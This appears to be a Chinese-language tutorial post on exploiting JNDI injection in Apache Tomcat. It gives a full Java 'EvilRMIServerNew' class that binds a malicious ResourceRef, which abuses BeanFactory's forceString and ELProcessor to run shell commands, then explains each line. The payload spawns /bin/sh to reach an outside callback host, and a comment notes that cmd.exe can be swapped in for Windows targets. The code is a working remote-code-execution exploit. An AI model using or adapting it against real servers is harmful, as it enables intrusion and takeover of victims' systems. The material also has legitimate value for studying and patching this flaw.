Apache Tomcat BeanFactory +EL表达式注入

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookupjndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookupjndi.s.artsploit.com']).start()\\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

上面的代码片段展示了如何利用 Apache Tomcat 中的 org.apache.naming.factory.BeanFactory 类，通过反射机制创建任意 Java Bean 实例，并调用它的 setter 方法来执行恶意代码。

以下是代码的详细解释：

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

这一行代码创建了一个 ResourceRef 对象。ResourceRef 是一种特殊类型的引用对象，用于描述资源（如数据库连接、消息队列等）。在这个例子中，它用于描述一个 Java 对象。构造函数的参数包括：

• "javax.el.ELProcessor"：目标类的全限定名，这里是 javax.el.ELProcessor。
• null、"" 等：这些参数通常用于描述资源的其他属性，这里都为空或默认值。
• "org.apache.naming.factory.BeanFactory"：指定用于解析这个引用的工厂类，这里是 org.apache.naming.factory.BeanFactory。

// redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));

这一行代码通过 forceString 属性重新定义了 x 属性的 setter 方法名。通常情况，setter 方法名是 setX，但这里被重新定义为 eval。这样，当 BeanFactory 调用 setter 方法时，会调用 eval 方法而不是 setX。

// expression language to execute 'nslookupjndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookupjndi.s.artsploit.com']).start()\\")"));

这一行代码设置了 x 属性的值，该值是一个恶意的 EL 表达式。具体来说，这个表达式利用了 javax.script.ScriptEngineManager 来执行任意 JavaScript 代码。在这个例子中，JavaScript 代码创建了一个新的进程，执行 nslookup jndi.s.artsploit.com 命令。这个命令将尝试连接到指定的域名，通常用于验证漏洞利用是否成功。

总结：

• 这个代码片段通过 ResourceRef 和 BeanFactory 类，利用反射机制在目标 Java 应用程序中创建一个任意类实例。
• 通过设置 forceString 属性，恶意代码可以指定调用的 setter 方法名。
• 最终的 EL 表达式被执行，触发远程代码执行（RCE），在受害者的系统上执行任意命令。

这个例子演示了如何利用 JNDI 注入漏洞，通过反射和表达式语言注入来实现远程代码执行。